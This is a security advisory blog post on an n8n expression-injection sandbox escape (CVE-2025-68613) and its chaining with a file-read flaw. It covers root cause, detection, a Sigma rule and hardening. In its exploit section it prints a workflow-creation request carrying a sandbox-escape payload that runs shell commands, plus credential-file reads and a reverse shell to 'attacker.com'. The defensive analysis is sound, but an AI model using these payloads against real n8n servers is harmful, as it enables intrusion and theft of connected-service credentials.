Post

CVE-2025-68613 n8n Expression Injection - When Your Automation Hub Becomes a Master Key

CVE-2025-68613 n8n Expression Injection - When Your Automation Hub Becomes a Master Key

Executive Summary

CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability in n8n, one of the world’s most widely used open-source workflow automation platforms. The flaw resides in n8n’s server-side expression evaluation engine — specifically, a missed edge case in the handling of JavaScript’s with statement allowed attackers to escape the sandbox and gain full access to the underlying Node.js runtime.

What makes this vulnerability uniquely dangerous is not just the RCE itself — it is what n8n is connected to. A typical enterprise n8n deployment orchestrates integrations with Slack, GitHub, AWS, Stripe, Salesforce, databases, CRMs, and hundreds of other services. Compromising n8n is equivalent to compromising a master key to the entire automation stack.

Added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on March 11, 2026, this vulnerability is confirmed to be actively exploited in the wild. When chained with CVE-2026-21858 (“Ni8mare”), an unauthenticated file read vulnerability, attackers can achieve full RCE without any credentials at all.


CVE Summary

FieldDetail
CVE IDCVE-2025-68613
Productn8n workflow automation platform
Vulnerability TypeExpression Injection / Improper Control of Dynamically-Managed Code Resources (CWE-94)
CVSS v3.1 Score9.9 Critical (n8n/GitHub) / 8.8 High (NIST)
CVSS VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow (workflow create/edit permissions)
User InteractionNone
ScopeChanged (affects resources beyond the vulnerable component)
ImpactFull CIA triad — Complete system compromise
CWECWE-94 (Improper Control of Generation of Code)
CISA KEV AddedMarch 11, 2026
Affected Versionsn8n 0.211.0 – < 1.120.4, 1.121.1, 1.122.0
Patched Versions1.120.4, 1.121.1, 1.122.0

What Is n8n and Why Does It Matter as an Attack Surface?

n8n (pronounced “n-eight-n”) is an open-source, self-hostable workflow automation platform written in Node.js. It enables non-developers and developers alike to build complex automation pipelines by connecting APIs and services through a visual node-based interface.

The Integrations Problem

A default enterprise n8n installation may have active integrations with:

1
2
3
4
5
6
7
8
9
10
11
12
13
Business Tools:         Development:          Cloud / Infra:
├── Slack               ├── GitHub            ├── AWS (S3, Lambda, SQS)
├── Microsoft Teams     ├── GitLab            ├── Google Cloud
├── Notion              ├── Jira              ├── Azure
├── Airtable            ├── Linear            ├── Cloudflare
├── HubSpot             └── PagerDuty         └── Vercel
├── Salesforce
└── Zendesk             Data:                 Payments:
                        ├── PostgreSQL        ├── Stripe
                        ├── MySQL             ├── PayPal
                        ├── MongoDB           └── Paddle
                        ├── Redis
                        └── Elasticsearch

Key insight: n8n stores all OAuth tokens, API keys, and service credentials in its encrypted credential store. An attacker who compromises n8n can instantly access every connected service — without needing to know individual passwords or bypass individual MFA.

Who Has Workflow Edit Permissions?

n8n’s threat model assumes that users with workflow creation/editing permissions are trusted. In practice, this includes:

  • Developers and DevOps engineers
  • Marketing automation teams
  • Data engineers
  • Integration partners and contractors
  • Anyone given “editor” access in a shared workspace

This is a much wider blast radius than “admin only.”


The n8n Expression Engine: How It Works

n8n workflows support dynamic expressions using double curly brace syntax ``:

1
2
3
4
5
6
// In a workflow node's field, you can write:
{{ $json.email.toUpperCase() }}
{{ $now.format('YYYY-MM-DD') }}
{{ $env.API_KEY }}

// These are evaluated server-side when the workflow runs

Internally, n8n evaluates these expressions using a custom JavaScript sandbox built around an AST (Abstract Syntax Tree) parser. The intended protection model:

1
2
3
4
5
6
7
8
9
10
11
12
13
User Expression Input
        ↓
AST Parser (parse expression into syntax tree)
        ↓
AST Validator (block dangerous patterns):
  ✗ Block direct `require()` calls
  ✗ Block `process.env` access
  ✗ Block prototype pollution attempts
  ✗ Block constructor abuse
        ↓
Sandboxed Evaluation (restricted context)
        ↓
Return value to workflow

The protections were comprehensive — but missed one deprecated JavaScript feature: the with statement.


Root Cause: The with Statement Edge Case

What Is the with Statement?

The JavaScript with statement adds an object’s properties to the scope chain of the enclosed block. It has been deprecated since ES5 and is forbidden in strict mode — which is exactly why it slipped through n8n’s AST-based defenses.

1
2
3
4
5
6
7
8
// Normal scope lookup:
let obj = { x: 42 };
console.log(obj.x); // 42

// with statement — adds obj properties to local scope:
with(obj) {
    console.log(x); // 42 — 'x' resolved from obj's scope
}

The Sandbox Bypass

The n8n sandbox correctly blocked direct access to Function and constructor. However, inside a with block, identifier resolution works differently — a standalone constructor identifier can be resolved to Function through the scope chain rather than as a property access:

1
2
3
4
5
6
7
8
9
10
11
12
13
// CONCEPTUAL ILLUSTRATION — NOT for unauthorized use
// How the sandbox bypass class works:

// Outside sandbox: this is blocked
Function('return require("child_process")')()  // ✗ AST blocks 'Function'
[].constructor.constructor('...')()            // ✗ AST blocks 'constructor' abuse

// Inside a with block: AST parser misses this case
with({ constructor: Function }) {
    // 'constructor' identifier now resolves to Function via scope chain
    // AST-based checks don't catch this as a 'constructor' abuse pattern
    constructor('return require("child_process")')()  // ✓ Executes!
}

The this context in the sandbox also resolves to the Node.js global object in certain execution paths, making require and other runtime APIs directly accessible.


Exploit Mechanics: Step-by-Step

Step 1: Gain Authenticated Access

The attacker needs an n8n account with workflow creation or editing permissions. Entry paths:

  • Phishing a developer or DevOps engineer with n8n access
  • Credential stuffing against the n8n login page
  • Insider threat — malicious employee or contractor
  • Supply chain — compromise of a CI/CD pipeline that has n8n access
  • CVE-2026-21858 chain — unauthenticated path (see next section)

Step 2: Create/Edit a Workflow with Malicious Expression

Via the n8n web interface or REST API, the attacker adds a “Set” node (or any node with an expression field) and injects the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /rest/workflows HTTP/1.1
Host: n8n.target.corp
Content-Type: application/json
Authorization: Bearer [valid_token]

{
  "name": "Data Processing Pipeline",
  "nodes": [
    {
      "type": "n8n-nodes-base.set",
      "name": "Set",
      "parameters": {
        "values": {
          "string": [
            {
              "name": "result",
              "value": "={{ (() => { with({ constructor: Function }) { return constructor('return require(\"child_process\")')().execSync('id && hostname && cat /root/.n8n/config').toString() } })() }}"
            }
          ]
        }
      }
    }
  ]
}

Step 3: Trigger Execution

The workflow is executed (manually, via schedule, or via webhook trigger). The expression is evaluated server-side:

1
2
3
4
5
6
7
8
9
10
11
n8n expression engine evaluates: 
        ↓
with() block entered — scope chain manipulated
        ↓
constructor resolves to Function (sandbox bypass)
        ↓
Function('return require("child_process")')() — executes
        ↓
child_process.execSync('id && hostname && cat /root/.n8n/config')
        ↓
Output returned to workflow node — attacker reads result via workflow output

Step 4: Full System Compromise

With child_process access, the attacker runs as the n8n process user (often root in poorly configured Docker deployments):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Commands executed via the injected expression:

# Recon
id && whoami && hostname
cat /etc/passwd
env                    # Dump ALL environment variables → API keys, DB passwords

# Read n8n credential store
cat /root/.n8n/config  # Contains database path, encryption key
cat /home/node/.n8n/database.sqlite  # SQLite DB with encrypted credentials

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Persistence
crontab -e  # Add persistent cron job

The Ni8mare Chain: Unauthenticated RCE

When CVE-2026-21858 (“Ni8mare”) is combined with CVE-2025-68613, authentication is no longer required.

CVE-2026-21858 — Unauthenticated File Read

CVSS: 10.0 (Critical)

This vulnerability exploits a content-type confusion flaw in n8n’s webhook handling. When a webhook request is sent with a manipulated Content-Type header, n8n’s file upload parser can be confused into treating the request body differently than intended — allowing arbitrary local file reads from the server filesystem.

1
2
3
4
5
6
POST /webhook/[public-webhook-id] HTTP/1.1
Host: n8n.target.corp
Content-Type: multipart/form-data; boundary=----[crafted]

[Crafted multipart body exploiting parser confusion]
→ Returns contents of arbitrary local file

The Full Unauthenticated Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Step 1: CVE-2026-21858 — Unauthenticated file read
    │
    │  Read /root/.n8n/config
    │  → Contains: encryptionKey, database path
    │
    ▼
Step 2: Read SQLite database file
    │
    │  cat /root/.n8n/database.sqlite
    │  → Contains: encrypted credentials for all n8n integrations
    │             session tokens, user records
    │
    ▼
Step 3: Decrypt credentials + Forge admin session
    │
    │  Use leaked encryptionKey to decrypt stored credentials
    │  Forge valid admin session cookie / JWT
    │
    ▼
Step 4: CVE-2025-68613 — Authenticated RCE
    │
    │  Create workflow with malicious expression
    │  Execute → full RCE as n8n process user
    │
    ▼
[Complete System Compromise — Zero Credentials Required]

This chain effectively turns a publicly accessible n8n webhook into a foothold for full server compromise with no prior knowledge of any credentials.


Post-Exploitation: The Integration Pivot

Once the attacker controls n8n, the damage extends far beyond the n8n server itself:

1
2
3
4
5
6
7
8
9
10
11
Compromised n8n Server
         │
         ├──► GitHub: Read/write all repos, inject malicious commits
         ├──► AWS: Full access to connected S3 buckets, Lambda, SQS
         ├──► Slack: Read all messages, post as bot, exfiltrate data
         ├──► PostgreSQL/MySQL: Full database read/write/delete
         ├──► Stripe: Access payment data, create refunds, read customer info
         ├──► Salesforce/HubSpot: Full CRM data exfiltration
         ├──► Google Workspace: Read Drive files, send emails as service account
         ├──► Cloudflare: DNS manipulation, WAF bypass
         └──► All OAuth tokens → persistent access even after n8n is patched

Key attacker advantage: Even after the n8n vulnerability is patched, any OAuth tokens or API keys exfiltrated during the breach remain valid until individually rotated. Attackers often use this window to establish persistent access to connected services.


CVE-2025-68613 is not an isolated incident — it reflects a systemic pattern of sandbox escape vulnerabilities in n8n’s expression engine:

CVECVSSBypass TechniquePatched In
CVE-2025-686139.9with statement scope manipulation1.120.4, 1.121.1, 1.122.0
CVE-2026-14709.9with statement (similar class)1.123.17, 2.4.5, 2.5.1
CVE-2026-25049CriticalArrow function + destructuring → Function constructor1.123.17, 2.5.2
CVE-2026-2185810.0Content-type confusion → unauthenticated file read1.121.0

The recurring pattern: n8n’s AST sandbox focuses on blocking known-bad patterns (prototype pollution, direct constructor access) but repeatedly misses edge cases in deprecated or uncommon JavaScript syntax. Each patch fixes the specific bypass but the fundamental architecture remains vulnerable to novel variants.


Detection Strategies

Process-Level Detection (EDR)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
High-priority alerts:
- n8n Node.js process spawning child processes:
    node → sh, bash, cmd, powershell
    
- n8n process accessing sensitive files:
    /root/.n8n/config
    /etc/passwd, /etc/shadow
    *.env, .env.local, .env.production
    
- n8n process making outbound connections to:
    Non-whitelisted IPs on non-standard ports
    Known C2 infrastructure (threat intel feeds)
    
- n8n process writing files outside /root/.n8n/:
    New cron entries
    New systemd service files
    Files in /tmp with executable permissions

Log-Based Detection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
n8n Audit Logs (Settings → Audit Logs):
- Workflow created/modified by unexpected users
- Unusual workflow execution times or frequencies  
- New credentials created for unexpected services
- Changes to existing credentials shortly before suspicious activity

n8n Execution Logs:
- Workflow executions returning unusually large outputs
- Execution errors containing system command output
- Set node outputs containing OS-level data (file contents, env vars)

Application Logs:
- Expression evaluation errors followed by successful execution
    (attacker testing payloads)
- Unusual HTTP POST bodies to /rest/workflows endpoint
- Webhook requests with abnormal Content-Type headers (Ni8mare)

Network Detection

1
2
3
4
5
- Unexpected outbound TCP connections from n8n server
    especially on ports 4444, 1337, 31337 (common reverse shell ports)
- DNS queries to newly-registered domains from n8n server
- Large data transfers from n8n server to external IPs
- Webhook requests with multipart bodies to non-workflow endpoints

YARA / Sigma Rules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Sigma rule for suspicious n8n expression content
title: n8n Malicious Expression Injection Attempt
status: experimental
description: Detects potential CVE-2025-68613 exploitation attempts in n8n workflow definitions
logsource:
    product: n8n
    service: audit
detection:
    keywords:
        - 'with({'
        - 'require("child_process")'
        - 'execSync'
        - 'spawnSync'
        - 'constructor: Function'
    condition: keywords
falsepositives:
    - Legitimate security testing
level: critical

Mitigation & Remediation

Immediate: Patch

Current VersionTarget Version
Any < 1.120.4 (1.x branch)1.120.4
Any 1.121.01.121.1
Any 1.122.0 (pre-patch)1.122.0 (patched build)
1
2
3
4
5
6
7
# Docker update:
docker pull n8nio/n8n:latest
docker stop n8n && docker rm n8n
docker run -d --name n8n [your original flags] n8nio/n8n:latest

# npm update:
npm update -g n8n

Also patch CVE-2026-21858 by targeting 1.121.0+.

Permissions Hardening

1
2
3
4
5
- Audit all n8n user accounts immediately
- Revoke workflow edit access from all non-essential users
- Implement "need-to-know" for workflow permissions
- Consider separate n8n instances for untrusted users vs. sensitive integrations
- Enable n8n's built-in audit logging (disabled by default)

Credential Rotation

1
2
3
4
5
6
7
8
9
If exploitation is suspected (or as precaution):
1. Rotate ALL credentials stored in n8n:
   - OAuth tokens (GitHub, Google, Slack, etc.)
   - API keys (AWS, Stripe, etc.)
   - Database passwords
   - Webhook secrets

2. Revoke and reissue n8n encryption keys
3. Audit OAuth grant logs in connected services for suspicious access

Infrastructure Hardening

1
2
3
4
5
6
7
8
9
10
11
12
13
# Run n8n as non-root user in Docker
docker run -d \
  --name n8n \
  --user 1000:1000 \          # Non-root
  --read-only \               # Read-only filesystem
  --tmpfs /tmp \              # Writable tmpfs only for /tmp
  --cap-drop ALL \            # Drop all Linux capabilities
  --security-opt no-new-privileges \
  -e N8N_LOG_LEVEL=info \
  n8nio/n8n:1.121.1

# Network egress filtering — n8n should only call KNOWN services
# Block outbound connections to unexpected destinations

WAF Rules

1
2
3
4
Block requests matching:
- POST to /rest/workflows containing: "with({", "execSync", "child_process"
- POST to webhooks with Content-Type: multipart containing path traversal sequences
- Unusually large expression values in workflow node parameters

MITRE ATT&CK Mapping

TacticTechniqueID
Initial AccessValid AccountsT1078
ExecutionServer-Side Template Injection / Code InjectionT1059.007
PersistenceScheduled Task/JobT1053
Privilege EscalationExploitation for Privilege EscalationT1068
Defense EvasionObfuscated Files or InformationT1027
Credential AccessCredentials from Password StoresT1555
Credential AccessUnsecured Credentials: Credentials in FilesT1552.001
DiscoverySystem Information DiscoveryT1082
Lateral MovementUse Alternate Authentication Material: Application Access TokenT1550.001
CollectionData from Information RepositoriesT1213
ExfiltrationExfiltration Over C2 ChannelT1041

Conclusion

CVE-2025-68613 illustrates a fundamental challenge in building secure expression evaluation systems: complete enumeration of dangerous JavaScript patterns is an arms race. n8n’s sandbox blocked many known attack vectors — prototype pollution, direct constructor abuse — but one deprecated, overlooked feature broke everything.

The deeper lesson is architectural: JavaScript sandboxing in the same process as a privileged Node.js runtime is inherently difficult to make secure. A deprecated with statement today. An obscure proxy trap tomorrow. The only robust solution is process isolation — evaluating untrusted expressions in a separate, disposable process or container with no access to the host runtime.

For organizations running n8n: patch immediately, rotate all credentials, and audit access controls. Given n8n’s role as the connective tissue of enterprise automation, a breach here is a breach everywhere.


References


This post is intended for security researchers, enterprise defenders, and platform administrators. Code samples are conceptual and based on publicly disclosed vulnerability class analysis.

This post is licensed under CC BY 4.0 by the author.